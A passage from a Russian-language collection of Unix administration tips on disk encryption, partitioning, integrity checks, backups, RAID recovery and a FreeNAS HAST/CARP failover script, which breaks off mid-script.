    Создаем директорию, куда будем маунтить:
    
       mkdir /usr/cert/sslcert
    
    Монтируем
    
       mount /dev/md0c.bde /usr/cert/sslcert
    
    Типа все работает. Теперь создадим скрит для удобства
    монтирования/размонтирования с таким содержанием:
    
    #!/bin/sh
    
    case "$1" in
            start)
                    /sbin/mdconfig -a -t vnode -f /usr/cert/fimage -u 0
                    /sbin/gbde attach /dev/md0c -l /usr/cert/fimage.lock
                    /sbin/mount /dev/md0c.bde /usr/cert/sslcert
            ;;
            stop)
                    /sbin/umount /usr/cert/sslcert
                    /sbin/gbde detach /dev/md0c
                    /sbin/mdconfig -d -u 0
            ;;
            *)
                    echo ""
                    echo "Usage: `basename $0` { start | stop }"
                    echo ""
                    exit 64
            ;;
    esac
    
    
    Все, пользуемся в свое удовольствие.
    
    При подготовке использованы источники: FreeBSD Handbook , mdconfig(8), gbde(8)
    
     
    ----* Шифрованный swap в FreeBSD 6.0   Автор: neozoid  [комментарии]
     
    Добавить в /boot/loader.conf:
       geom_eli_load="YES"
    
    или в конфиг ядра:
       device crypto
       options GEOM_ELI
    
    в fstab к разделу swap к "Device" дописать ".eli" например:
       # Device                Mountpoint      FStype  Options         Dump    Pass#
       #/dev/ad0s3b            none            swap    sw              0       0
       /dev/ad0s3b.eli         none            swap    sw              0       0
    
    при загрузке имеем:
       GEOM_ELI: Device ad0s3b.eli created.
       GEOM_ELI:     Cipher: AES
       GEOM_ELI: Key length: 256
       GEOM_ELI:     Crypto: software
    
    и в моем случае:
       %pstat -s
       Device          1K-blocks     Used    Avail Capacity
       /dev/ad0s3b.eli   1048576        0  1048576     0%
    
     
    ----* Причины ошибок при попытке создать раздел в FreeBSD 5 (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    В 5'ке из-за GEOM'а есть защита от изменений в таблице партиций
    на уже установленной системе. 
    Например, ругается:
    
       ERROR: Unable to write data to disk amrd3
    
    Вот из-за этого и нельзя записать информацию в таблицу партиций.
    
    Решение:
    вариант 1:
    
       - смотрим переменную ядра: sysctl kern.geom.debugflags
       - устанавливаем в следующее значение для разрешения записи в таблицу партиций: 
          sysctl kern.geom.debugflags=16
       - теперь можем вручную конфигурить диски, массив и писать в таблицу
    партиций
    
       тонкость: не используй sysinstall - даже при установленной переменной
    kern.geom.debugflags=16 эта утилита не позволит записать в таблицу.
    
    вариант 2:
    
       - если хочешь использовать именно sysinstall - грузись с CD
    и используй sysinstall
    
     
    ----* Изменение порядка нумерации дисковых разделов в Linux   Автор: sleepycat  [обсудить]
     
    Если вы создавали разделы начиная с конца диска к началу, в выводе команды
    
       # fdisk -l /dev/hda
    
    (здесь и далее, hda - заменить на ваше устройство) скорее всего, будет
    присутствовать следующая фраза:
    
        Partition table entries are not in disk order
    
    по причине того, что разделы пронумерованы не в порядке следования, а в порядке создания. 
    Исправить нумерацию разделов на диске можно следующим образом:
    
    Загружаемся с live-cd либо (если этот диск не не содержит необходимых для
    функциоирования системы разделов)
    отмонтируем все его разделы. Далее:
    
       # fdisk /dev/hda
    
    после приглашения ввода команды жмем клавишу 'x' для перехода в режим раширенной функциональности, 
    после чего клавишу 'f' для исправления таблицы разделов, и клавишу 'w' для записи изменений. 
    После чего, можно завершать работу с fdisk, проверять расположение разделов на диске и, 
    при необходимости, не забыть исправить записи в fstab.
    
    Наименования используемых пунктов fdisk (можно напомнить себе прочитав help
    после нажатия клавиши 'm'):
    
       x   extra functionality (experts only)
       f   fix partition order
       w   write table to disk and exit
       q   quit without saving changes
    
     
    ----* Контроль целостности системы штатными средствами   Автор: Avatar  [комментарии]
     
    Что делать если под рукой нет tripwire или osec, а кривой aide вы пользоваться не хотите. 
    Часть функций , таких как проверка прав доступа и изменение файлов, можно
    реализовать штатными стедствами.
    
    Вот маленький скрипт который помещается в crontab и позволяет это реализовать. 
    При желании его функции можно легко расширить.
    
    
    #!/bin/bash
    
    ulimit -t 20
    checkdir="/bin /sbin"
    filedb="/var/tmp/permsecdb"
    email="test@test.ru"
    
    out=$(
    exec 2>&1
    umask 266
    find $checkdir -type f -printf "%m\t" -exec md5sum {} \; >$filedb.tmp
    diff $filedb $filedb.tmp
    mv -f $filedb.tmp $filedb
    )
    if [ "$out" ];then 
        (date; echo; echo "$out") |mail -s "Change permsec `hostname`" $email
    fi
    
    - ulimit лучше выставить не случай не предвиденных ситуаций.
    - checkdir соответственно проверяемые директории
    - filedb текстовой файл базы
    - email куда посылать мыло
    
    Если изменений в системе не было, то сообщения посылаться не будут.
    Сообщение бывает 4 видов 
    
    1 - ошибки
    2 - добавлен файл "> 644	d41d8cd98f00b204e9800998ecf8427e  /bin/12"
    3 - удален файл "< 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    4 - изменен файл "
    < 755	ce367ef1e2cca19e6216874cb8c09d96  /bin/12
    ---
    > 755	c1a0ff878c603dd91f603059e9c1a0a1  /bin/12"
    
    Успешного контроля.
    
     
    ----* Как получить информацию о разделах диска для бэкапа   [комментарии]
     
    Linux:
       fdisk -l /dev/hda > partitions.txt
       cat /proc/partitions
    
    BSD:
       disklabel da0s1 > partitions.txt
       Для восстановления или клонирования: 
          fdisk -BI -v -b /boot/mbr da1 # Слайс на весь диск.
          disklabel -R -B -r da1s1 partitions.txt
       Параметры FS, без ее реального создания можно посмотреть через:
          newfs -N /dev/da0s1e
       Для визуального создания или редактирования разделов удобно
       использовать /stand/sysinstall (Configure/Fdisk иди Label),
       в качестве точки монтирования не забыть добавить перед именем "/mnt"
       и создать директорию для монтирования.
       
    
     
    ----* Как уменьшить размер зарезервированного для root места на диске   [комментарии]
     
    Linux: 
       tune2fs -l /dev/hda6      # Смотрим установки
       tune2fs -m 2 /dev/hda2 # Меняем на 2 процента
    
    FreeBSD:
       tunefs -p /dev/da1s1     # Смотрим установки
       tunefs -m 2 /dev/da1s1 # Меняем на 2 процента
    
     
    ----* Как переименовать имена файлов из одной кодировки в другую (доп. ссылка 1)   [комментарии]
     
    Если не переименовывать каталоги:
    
    Вариант 1:
       find | sort -r | while read f; do
         fn=$(basename "$f"|iconv -f koi8-r -t windows-1251);
         [ "$fn" = "$(basename "$f")" ] || mv "$f" "$(dirname "$f")/$fn";
       done 
    
    Вариант 2:
    
       #!/bin/sh
       # аргумент 1 - путь
       # аргумент 2 - из какой кодировки
       # аргумент 3 - в какую кодировку 
       find $1 -regex "$1/.*" | sort -r | while read f; do
          fb=$(basename "$f");
          fd=$(dirname "$f");
          nfb=$(echo "$fb"|iconv -f $2 -t $3);
          [ "$fb" = "$nfb" ] || (mv "$fd/$fb" "$fd/$nfb"; echo "$fd $fb -> $nfb";)
       done
    
    Вариант 3:
    
       Использовать готовую программу для переименования с изменением кодировки http://j3e.de/linux/convmv/
    
     
    ----* Шифрование файлов используя loopback устройство под Debian Linux (доп. ссылка 1)   [комментарии]
     
    Установка пакетов:
        apt-get install loop-aes-utils
        apt-get install cryptsetup
    
    Подгрузка модулей:
       modprobe loop
       modprobe aes
    
    Создаем образ будущего шифрованного раздела:
        dd if=/dev/zero of=/home/marco/crloop bs=1M count=640
    
    Способ 1 (устарел, лучше использовать dm-crypt):
        modprobe cryptoloop
        losetup -e aes /dev/loop0 /home/marco/crloop
        mkfs -t ext2 /dev/loop0
        mount /dev/loop0 /media/cryptovolume
        .....
        umount /media/cryptovolume
        losetup -d /dev/loop0
    
    Способ 2 (рекомендуется для новых ядер):
        modprobe dm-crypt
        losetup /dev/loop0 /home/marco/crloop
        cryptsetup -c aes -y create crloop /dev/loop0
        mkfs.ext3 /dev/mapper/crloop
        mount /dev/mapper/crloop /media/cryptovolume
        .....
        umount /media/cryptovolume
        cryptsetup remove crloop
        losetup -d /dev/loop0.
    
     
    ----* Изменение атрибутов ext2fs и ext3fs используя chattr (доп. ссылка 1)   [обсудить]
     
    Команда chattr позволяет изменять параметры ФС для отдельного файла или директории:
       chattr +a - только добавление данных (append-only), удаление и переименование запрещено;
       chattr +i - запрещено удаление, изменение или переименование (immutable);
       chattr +A - запретить сохранение данных о каждом обращении к файлу (no atime)
       chattr +S - синхронное изменение всех данных на диск, без кэширования;
       chattr +c - файл будет хранится на диске в сжатом виде (нужен отдельный патч для ядра);
       chattr +s - после удаления файла, место на диске забивается нулями (внешний патч);
       chattr +u - резервирование данных файла после удаления (внешний патч);
    
    Пример:
       chattr -R +i /bin /sbin /usr/bin /usr/sbin - запрещаем изменение бинарников
       chattr +a /var/log/secure - предотвращаем модификацию лога злоумышленником
    
    Для просмотра расширенных атрибутов используется утилита lsattr.
    
    Для FreeBSD см. man chflags и man security
    
     
    ----* Полный бэкап на дополнительный диск при помощи rsync (доп. ссылка 1)   [комментарии]
     
    Резервный диск монтируем как /backup в read-only режиме.
    По крону еженощно запускаем скрипт следующего содержания:
       /sbin/mount -u -w /backup # пепреводим раздел в rw режим, mount "-o remount,rw /backup" для Linux
       /usr/bin/rsync -a --delete --delete-excluded --max-delete=200 \
          --exclude-from=/etc/ex_files_list.txt / /backup
       RETCODE=$?
       if [ $RETCODE -ne 0 ]; then
          echo "Err code=$RETCODE"| mail -s "RSYNC BACKUP ERROR" alert@test.ru
       fi
       /sbin/mount -u -r /backup # раздел обратно в ro, mount "-o remount,ro /backup" для Linux
    
    Если backup-диск большой, лучше вести две полные копии, на случай краха во
    время бэкапа (или см. опцию --backup);
    
    При бэкапе на другой сервер:
       rsync [...опции как выше] --compress --bwlimit=100 --timeout=120 \
          -e ssh source/ login@backuphost:/backup/node1
    
    Список файлов для исключения из бэкапа (ex_files_list.txt):
       /backup
       /mnt
       /proc
       /tmp
       /var/log
       /usr/obj
       /usr/src
       /usr/tmp
       /usr/ports
       /usr/local/apache/logs
    
     
    ----* Почему на нагруженных серверах лучше использовать SCSI диски, а не IDE.   [комментарии]
     
    1. Качество исполнения, запас прочности и надежность накопителей со SCSI
    интерфейсом как правило выше, чем у IDE.
    
    2. Два подключенных к одному каналу контроллера IDE накопителя, не могут
    одновременно передавать данные по шине.
    
    3. SCSI показывают значительно лучшую производительность в загруженной
    многозадачной среде, при обилии разрозненных параллельных запросов за
    счет более оптимального использования шины передачи данных. (конек IDE -
    линейное чтение, сильная сторона SCSI - случайный доступ).
    
    Поясняю: Специфика IDE такова, что запросы могут передаваться по одной
    шине последовательно (одна труба передачи данных, однопоточный режим).
    Допустим, если 100  процессов обращаются к данным на диске, запросы в
    рамках одного канала контроллера будут обрабатываться один за другим, каждый
    следующий после полного выполнения  предыдущего (связка: выдача
    команды - получение данных).
    
    При  использовании SCSI, допускается перекрытие запросов (организуется
    очередь команд), ответы при этом  будут получены распараллеленно
    (асинхронная передача), при этом устройство
    заведомо зная подробности  по командам находящимся в очереди, производит
    оптимизацию самостоятельно - минимизируя движение головок.
    
     
    ----* Как создать файл устройства для монтирования раздела диска.   [обсудить]
     
    Linux IDE              #  Linux SCSI      #  FreeBSD 4
    mknod /dev/hda b 3 0   # /dev/sda b 8 0   # /dev/ad0 b 116 0x00010002
    mknod /dev/hda1 b 3 1  # /dev/sda1 b 8 1  # /dev/ad0s1 b 116 0x00020002
    mknod /dev/hda2 b 3 2  # /dev/sda2 b 8 2  # /dev/ad0s1a b 116 0x00020000
    mknod /dev/hdb b 3 64  # /dev/sdb b 8 16  # /dev/ad0s1b b 116 0x00020001
    mknod /dev/hdb1 b 3 65 # /dev/sdb1 b 8 17 # /dev/ad0s1c b 116 0x00020002
    mknod /dev/hdc b 22 0  # /dev/sdc b 8 32  # /dev/ad1s1a b 116 0x00020008
    mknod /dev/hdd b 22 64 # /dev/sdd b 8 48  # /dev/da1s1a b 13 0x00020000
    
     
    ----* Как в FreeBSD разрешить пользователю только добавлять данные в файл.   [обсудить]
     
    man chflags; man 2 chflags
    Флаги (chflags флаг файл):
      sappnd - все, кроме root или владельца (uppnd), могут лишь добавлять информацию в конец файла;
      schg - только root или владелец файла (uchg) может изменить, перенести или удалить файл;
      sunlnk - только root или владелец файла (uunlink) может удалить или переименовать файл;
    Чтобы убрать установленный флаг, нужно использовать префикс "no", т.е. nouchg, nuschg и т.д.
    
     
    ----* Как автоматически удалять все файлы в каталоге, созданные позднее N дней   [комментарии]
     
    удаляем старше 1 часа:
            find /var/tmp_log/ -type f -mmin +60 -exec rm -f {} \;
    удаляем старше 10 дней:
            find /var/tmp_log/ -type f -mtime +10 -exec rm -f {} \;
    
     
    ----* Как отформатировать флоппи-диск с FAT.   [комментарии]
     
    Linux:
       mkdosfs -c -f 16 -n "метка тома" /dev/fd0h1440
      или 
       mkfs -t fat16 /dev/fd0h1440
    FreeBSD:
       fdformat -f 1440 /dev/fd0
      или
       newfs_msdos -f 1440 -L "label" fd0
    
     
    ----* Оптимизация дисковой подсистемы в Linux   [обсудить]
     
    man hdparm (например: /sbin/hdparm -c3 -d1 -X34 /dev/hda)
    man elvtune           
    man tune2fs
       echo 128000 > /proc/sys/fs/inode-max # def 16384
       echo 64000 > /proc/sys/fs/file-max  # def 4096 Число одновременно открытых файлов.
      cd /proc/sys/fs/ (в 2.4.x работает автотюнинг)
      /usr/src/linux/Documentation/sysctl/fs.txt
      /usr/src/linux/Documentation/filesystems/proc.txt
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab   [обсудить]
     
    Для решения проблем с русскими именами файлов в Linux для CDROM,
    дискеты и Windows раздела следует прописать в /etc/fstab:
    /dev/cdrom      /mnt/cdrom      iso9660 ro,nosuid,noauto,exec,user,nodev        0 0
    /dev/fd0        /mnt/floppy     vfat
    iocharset=koi8-r,sync,nosuid,codepage=866,user,--,noauto,nodev,unhide      0 0
    /dev/hda1 /mnt/windows vfat user,exec,umask=0,codepage=866,iocharset=koi8-r 0 0
    
     
    ----* Как увеличить производительность дисковой подсистемы FreeBSD.   [комментарии]
     
    По умолчанию запись на диски в FreeBSD производится в синхронном режиме,
    значительно увеличить скорость записи
     можно активировав асинхронный режим: В /etc/fstab в поле Options добавить async (например rw,async).
    Или для примонтированного раздела: mount -u -o async /home
    Для увеличения производительности IDE дисков, в файле конфигурации ядра можно
    указать для wdc устройств
    flags 0xa0ffa0ff или 0x80ff80ff (подробнее man wd, man ad).
    Для ad: sysctl hw.atamodes; sysctl hw.ata
    Например: sysctl hw.atamodes=pio,pio,---,dma,pio,---,dma,---,
    См. также man atacontrol 
    Третий вариант - активировать в настройках ядра SOFTUPDATES и запустить 
    tunefs -n enable /usr в single-user на размонтированном разделе.
    
     
    ----* Как создать рабочий дубликат Linux или FreeBSD системы.   [обсудить]
     
    1. Монтируем новый жесткий диск.
    
    2. Создаем разделы на новом диске с помощью fdisk (для freebsd /stand/sysintall
    или /usr/sbin/sysinstall). Создаем файловую систему.
    
    3. Копируем файлы на новый диск (кроме каталога /mnt, не допускаем рекурсии !!!)
       find / -xdev | cpio -pdumv /mnt/new    - на каждый раздел.
       или tar cf - /bin /usr /etc д.р.| tar xf - -C /mnt/new
       или cd /mnt/new; dump -0u -f - /директории| restore -r -f -
       или cp -Raxv / /mnt/new  - на каждый раздел.
       или pax -r -w -p e / /mnt  (говорят копирует гораздо быстрее чем dump/restore)
       или просто копируем в Midnight Commander'е (не рекомендуется).
    
       Лучший способ - dump/restore или rsync, иначе можно потерять расширенные атрибуты и ACL.
    
    4. Редактируем /mnt/new/etc/fstab
    
    5. Создаем с помощью /dev/MAKEDEV недостающие устройства (для нового типа диска).
    
    6. mkdir /mnt/new/proc /mnt/new/mnt
    
    7a. Только для Linux: правка /etc/lilo.conf и запуск lilo -r /mnt/new -b /dev/hdb
       При возникновении ошибки при загрузке:
       Было:
       boot=/dev/sda
       default=linux-up
       image=/boot/vmlinuz-up
            label=linux-up
            root=/dev/sda2
            initrd=/boot/initrd-up.img
       
       Предположим, что дубликат размещен на /dev/sdb, тогда меняем boot=/dev/sda на boot=/dev/sdb
       и добавляем:
       disk=/dev/sdb
          bios=0x80
       
      Выполняем lilo -r /mnt/new и не забываем убирать исправления из lilo.conf.
    
    7b. Для freebsd загрузчик устанавливается после разбиения диска на разделы через sysintall.
    PS. Если диски одинаковые можно использовать dd if=/dev/hda of=/dev/hdb,
       если разделы одинаковые: dd if=/dev/hda1 of=/dev/hdb1
    
     
    ----* Как 1 в 1 скопировать файловую систему.   [комментарии]
     
    Копируем /usr в текущую директорию: dump -0u -f - /usr | restore -r -f -
    Для полного бэкапа /usr на ленту: dump -0u -f /dev/st0 /usr
    
     

       CD-ROM, CD-R, AudioCD:

       RAID массивы

    ----* Спасение RAID5 в Linux или восстановление mdadm на другой машине   Автор: petrov.pash  [комментарии]
     
    Сегодня на работе сдох сервер. Без признаков жизни и включения. А на нем важная информация. 
    Не срочная, но важная. Главня проблема в том что нужные файлы были на рэйде
    (mdadm), да еще и на LVM.
    Расскажу, как спасал информацию...
    
    Отключаю диски, достаю, кладу на стол. Сервер отвожу в ремонт. И начинаю реанимировать диски. 
    А схема там такая - из 3-х 400 гигабайтных дисков собран RAID5 в mdadm, 
    поверх рэйда - LVM, на LVM - файловая система XFS.
    
    Подключаю все диски к рабочему компьютеру, пытаюсь загрузиться со своего
    рабочего диска - не грузится.
    Некогда разбираться - пробую грузится с live-cd с Ubuntu. Загрузилось! 
    
    Начинается самое интересное:
    
    N.B. - все операции проводились под root, поэтому нужно в консоли сделать sudo su
    
    1) Поскольку диски sata - открываем консоль и смотрим, что нашлось (ненужные строчки пропущены):
    
       root@ubuntu:/home/ubuntu# dmesg | grep sd
       [ 40.566532] sd 2:0:0:0: [sda] 488397168 512-byte hardware sectors (250059 MB)
       [ 40.592220] sd 2:0:1:0: [sdb] 781422768 512-byte hardware sectors (400088 MB)
       [ 40.611879] sd 3:0:0:0: [sdc] 781422768 512-byte hardware sectors (400088 MB)
       [ 40.635162] sd 3:0:1:0: [sdd] 781422768 512-byte hardware sectors (400088 MB)
       root@ubuntu:/home/ubuntu#
    
    ага. есть 4 диска - 1 диск sda-250GB - это рабочий, остальные (sdb,sdc,sdd) - части рэйда.
    
    2) В live-cd Ubuntu нет ни mdadm, ни lvm. Исправим это. Настраиваем сеть, и выполняем в терминале:
    
       root@ubuntu:/home/ubuntu# apt-get update && apt-get install mdadm lvm2
    
    Установилось. Хорошо, едем дальше.
    
    3) Пытаемся пересобрать RAID в автоматическом режиме:
    
       root@ubuntu:/home/ubuntu# mdadm --assemble --scan
       mdadm: /dev/md0 has been started with 2 drives (out of 3) and 1 spare.
    
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       unused devices:
    
    Видим что массив нашелся, но сломанный - один диск отвалился.
    Игнорируем, потому что рэйд пятого уровня - позволяет сохранить данные при поломке одного диска. 
    Массив нашелся, поднялся. Двигаемся дальше.
    
    4) Поднимаем LVM:
    
    Загружаем модуль
    
       root@ubuntu:/home/ubuntu# modprobe dm-mod
    
    Активируем LVM:
    
       root@ubuntu:/home/ubuntu# vgchange -a y
       1 logical volume(s) in volume group "files" now active
    
    Проверяем какие logical volumes у нас есть:
    
       root@ubuntu:/home/ubuntu# lvscan
       ACTIVE '/dev/files/filesrv' [700,00 GB] inherit
    
    видим один раздел - /dev/files/filesrv на 700 гигов.
    
    Создаем точку монтирования и монтируем раздел:
    
       root@ubuntu:/home/ubuntu# mkdir /files
       root@ubuntu:/home/ubuntu# mount /dev/files/filesrv /files
    
    Смотрим что получилось:
    
       root@ubuntu:/home/ubuntu# ls -lh /files/
       total 20K
       drwxrwxrwx 79 root root 8,0K 2009-03-30 06:24 other
       drwxrwxrwx 15 root root 4,0K 2008-12-08 05:55 public
       drwxrwxrwt 7 1000 1000 76 2009-04-02 10:33 vmdata
       drwxrwxrwx 5 1000 1000 47 2009-02-20 10:22 webfiles
    
    Ура! Все файлы видны и доступны!
    Теперь можно скопировать их на рабочий диск:
    
       root@ubuntu:/home/ubuntu# mkdir /workhdd
       root@ubuntu:/home/ubuntu# mount /dev/sda4 /workhdd
       root@ubuntu:/home/ubuntu# cp -r /files/vmdata /workhdd/
    
    или через ssh на другой сервер:
    
       root@ubuntu:/home/ubuntu# scp -r /files/vmdata root@192.168.1.6:/files/
    
    После того как все скопировалось - можно заняться восстановлением RAID. Проверяем еще раз статус:
    
       root@ubuntu:/home/ubuntu# cp -r /files/vmdata/
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       unused devices:
    
    видим что в RAID сейчас два диска - sdc и sdd. Недостающий диск - sdb.
    Добавим его:
    
       root@ubuntu:/home/ubuntu# mdadm /dev/md0 --re-add /dev/sdb1
       mdadm: re-added /dev/sdb1
    
    Диск добавился. Следим за его пересборкой:
    
       root@ubuntu:/home/ubuntu# cat /proc/mdstat
       Personalities : [raid6] [raid5] [raid4]
       md0 : active raid5 sdb1[3] sdc1[0] sdd1[1]
       781417472 blocks level 5, 64k chunk, algorithm 2 [3/2] [UU_]
       [>....................] recovery = 0.0% (95748/390708736) finish=3261.8min speed=1994K/sec
    
    Прогрессбар движется, до окончания пересборки осталось 3261 минута, то есть больше 2 суток. 
    Это уже не нормально, да и диск начал слышно стучать. Понятно. Пора ему на свалку.
    
    Дополнение: чтобы ребилд быстрее проходил, убираем лимит скорости фонового перестроения:
    
    echo 200000 > /proc/sys/dev/raid/speed_limit_min
    echo 200000 > /proc/sys/dev/raid/speed_limit_max
    
    200000 - это пропускная спосбность в Кб, по умолчанию speed_limit_min = 1000
    
     
    ----* Расширение программного RAID1 в Linux до зеркала из трёх дисков   [комментарии]
     
    При добавлении дополнительного диска к RAID1 в mdadm по умолчанию создаётся
    запасной диск (hot-spare), который будет задействован в случае выхода из строя
    одного из входящих в массив дисков.
    
    Для увеличения производительности чтения данных, вместо hot-spare диска можно
    добавить полноценный третий диск в RAID1, т.е. все три диска будут
    заркалированы и операции чтения будут распараллеливаться между ними.
    
    Имеем RAID 1 /dev/md121 из двух разделов /dev/sda1 и /dev/sdb1:
    
       mdadm --detail /dev/md121
       ...
       Number   Major   Minor   RaidDevice State
           0       8        2        0      active sync   /dev/sda1
           1       8       18        1      active sync   /dev/sdb1
    
    Клонируем разделы на третий диск /dev/sdc
    
       sfdisk -d /dev/sda| sed 's/sda/sdc/'| sfdisk /dev/sdc
    
    Добавляем /dev/sdc1 в массив:
    
       mdadm  /dev/md121 --add /dev/sdc1
    
       mdadm --detail /dev/md121
       ...
       Number   Major   Minor   RaidDevice State
           0       8        2        0      active sync   /dev/sda1
           1       8       18        1      active sync   /dev/sdb1
           2       8       34        -      spare   /dev/sdc1
    
    Чтобы /dev/sdc1 стал полноценным участником массива меняем статус spare на active:
    
      mdadm  /dev/md121  --grow --raid-devices=3
    
    Через некоторое время, после того как массив перестроится:
    
      mdadm --detail /dev/md121
       ...
      Number   Major   Minor   RaidDevice State
           0       8        1        0      active sync   /dev/sda1
           1       8       17        1      active sync   /dev/sdb1
           2       8       33        2      active sync   /dev/sdc1
    
     
    ----* Создание отказоустойчивого хранилища на базе FreeBSD или FreeNAS с использованием ZFS, HAST и CARP (доп. ссылка 1)   [комментарии]
     
    Начиная с FreeBSD 8.1 в состав включена поддержка системы репликации устройств
    хранения данных HAST (Highly Avalable STorage), позволяющей создавать
    высоконадежные конфигурации, в которых данные синхронизированы между
    несколькими узлами. HAST реализован в виде работающего на уровне пользователя
    демона hastd, использующего стандартный класс GEOM Gate для обработки запросов
    ввода/вывода. Hastd, обеспечивает синхронную репликацию блочных устройств
    поверх TCP/IP сетей, независимо от типа накопителя и файловой системы. HAST
    предусматривает возможность быстрого восстановления после сбоя, причём, при
    выходе из строя первичного master-узла, его функции могут быть делегированы
    slave-узлу. После проверки и монтирования UFS раздела или импорта ZFS пула на
    поврежденном узле, система автоматически синхронизирует внесенные за время
    восстановления изменения и продолжит работу без потери данных.
    
    Для быстрого развёртывания хранилищ удобно использовать дистрибутив FreeNAS. К
    сожалению в настоящее время FreeNAS не поддерживает HAST из коробки, но так как
    во FreeNAS используются стандартные компоненты FreeBSD 8.x, ни что не мешает
    самостоятельно вручную создать и надстроить работу подобных хранилищ.
    
    После первой загрузки FreeNAS настроим параметры сетевого доступа и DNS. Первый
    узел freenas1 будет иметь IP 192.168.137.31, а второй freenas2 -
    192.168.137.32. После первичной типовой настройки подключимся к shell.
    
    
    Настройка узла HAST
    
    Перемонтируем корневой раздел для обеспечения возможности записи:
    
      mount -uw /
     
    Создадим массив хранения RAID3 из дисков da1, da2, da3.
    
       graid3 label gr0raid3 da1 da2 da3
    
    В итоге будет создано устройство /dev/raid3/gr0raid3
     
    Включим поддержку CARP и активируем демон hastd:
    
       cat <<EOF >> /conf/base/etc/rc.conf
       ifconfig carp0 create
       ifconfig carp0 vhid 1 pass freenashast 192.168.137.30/24
       # enable HAST daemon
       hastd_enable="YES"
       EOF
     
    Если в директории  /boot/kerneldaemon отсутствует модуль if_carp.ko, скопируем
    его из системы на базе FreeBSD 8.2 или 8.3.
    
    Создадим файл конфигурации hast.conf, в котором определим /dev/raid3/gr0raid3 в
    качестве синхронизируемого между узлами хранилища:
    
       cat <<EOF > /conf/base/etc/hast.conf
       resource freenashast {
            on freenas1 {
                    local /dev/raid3/gr0raid3
                    remote freenas2
            }
            on freenas2 {
                    local /dev/raid3/gr0raid3
                    remote freenas1
            }
       }
       EOF
     
    Копируем hast.conf в директорию /etc и перезагружаем систему:
    
       cp /conf/base/etc/hast.conf /etc
     
    Создаём хранилище hast:
    
       hastctl create freenashast
     
    После появления устройства /dev/hast/freenashast назначаем текущему узлу роль первичной системы:
    
       hastctl role primary freenashast
     
    Создаём zpool в хранилище freenashast
    
       zpool create -m /mnt gr0 /dev/hast/freenashast
    
    Создаём символическую ссылку на директорию RAID3, чтобы web-интерфейс FreeNAS
    распознал вручную созданное хранилище:
    
       ln -s /dev/hast/freenashast /dev/raid3/gr1raid3
     
    После этого в GUI FreeNAS можно автоматически импортировать раздел gr0 и
    настроить совместный доступ  с использованием штатного web-интерфейса.
    
     
    Настроим демон devd для переключения HAST из режима master в slave и наоборот в
    зависимости от состояния сетевого линка:
    
       cat <<EOF >> /conf/base/etc/devd.conf
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_UP";
            action "/usr/local/sbin/carp-hast-switch master";
       };
     
       notify 30 {
            match "system" "IFNET";
            match "subsystem" "carp0";
            match "type" "LINK_DOWN";
            action "/usr/local/sbin/carp-hast-switch slave";
       };
       EOF
     
    Создадим скрипт hast-carp-switch, который будет выполнять переключение режимов:
    
       cat <<EOF > /usr/local/sbin/carp-hast-switch
    
       #!/bin/sh
       resources="freenashast"
       zfspool="gr0"
       delay=3
       log="local0.debug"
       name="carp-hast"
     
       case "$1" in
            master)
                    logger -p $log -t $name "Switching to primary provider for $resources."
                    # in order to wait for the original primary provider to change role state
                    # otherwise, brain-split may happen
                    sleep $delay
                    for disk in $resources; do
                            # ensure that this storage can be switched                        
                            while $(pgrep -lf "hastd: $disk \\(secondary\\)" > /dev/null 2>&1 ); do
                                    sleep 1
                            done
     
                            # Switch role for each disk
                            hastctl role primary $disk
                            if [ $? -ne 0 ]; then
                                    logger -p $log -t $name "Unable to change role to primary for resouce ${disk}."
                                    exit 1
                            fi
                    done
     
                    # Wait for the /dev/hast/* devices to appear
                    for disk in $resources; do
                            for I in $(jot 60); do
                                    [ -c "/dev/hast/${disk}" ] && break
                                    sleep 0.5
                            done
                            if [ ! -c "/dev/hast/${disk}" ] ; then
                                    logger -p $log -t $name "GEOM provider /dev/hast/$disk did not appear."
                                    exit 1
                            fi
                    done
     
                    logger -p $log -t $name "Role for HAST resources switched to primary."
     
                    logger -p $log -t $name "Importing ZFS pool."
                    zpool import -f $zfspool
     
                    # restart the enabled services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba restart
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk restart
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd restart
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd restart
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver restart
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd restart
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd restart
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd restart
                                            ;;
                             esac
                  done
     
                    ;;
     
            slave)
                    logger -p $log -t $name "Switching to secondary provider for $resources."
                    # stop the running services
                    for srv in $(sqlite3 /data/freenas-v1.db "select srv_service from services_services where srv_enable=1" \\
                                    | xargs printf "grep 'bool_.*%s' /etc/rc.conf.local\\n" | sh | awk '{print $2}')
                   do
                             case $srv in
                                 winbindd_enable|samba_enable) /etc/local/rc.d/samba stop
                                            ;;
                                 netatalk_enable)        /etc/local/rc.d/netatalk stop
                                            ;;
                                 proftpd_enable)         /etc/local/rc.d/proftpd stop
                                            ;;
                                 inetd_enable)           /etc/rc.d/inetd stop
                                            ;;
                                 nfs_server_enable)      /etc/rc.d/nfsserver stop
                                            ;;
                                 mountd_enable)          /etc/rc.d/mountd stop
                                            ;;
                                 nfsd_enable)            /etc/rc.d/nfsd stop
                                            ;;
                                 rsyncd_enable)          /etc/local/rc.d/rsyncd stop
                                            ;;
                           esac
                    done
     
                    # export the zfs pool & change role to slave
                    for disk in $resources; do
                            zpool export -f $zfspool
                            sleep $delay
                            hastctl role secondary $disk 2>&1
                            if [ $? -ne 0 ]; then
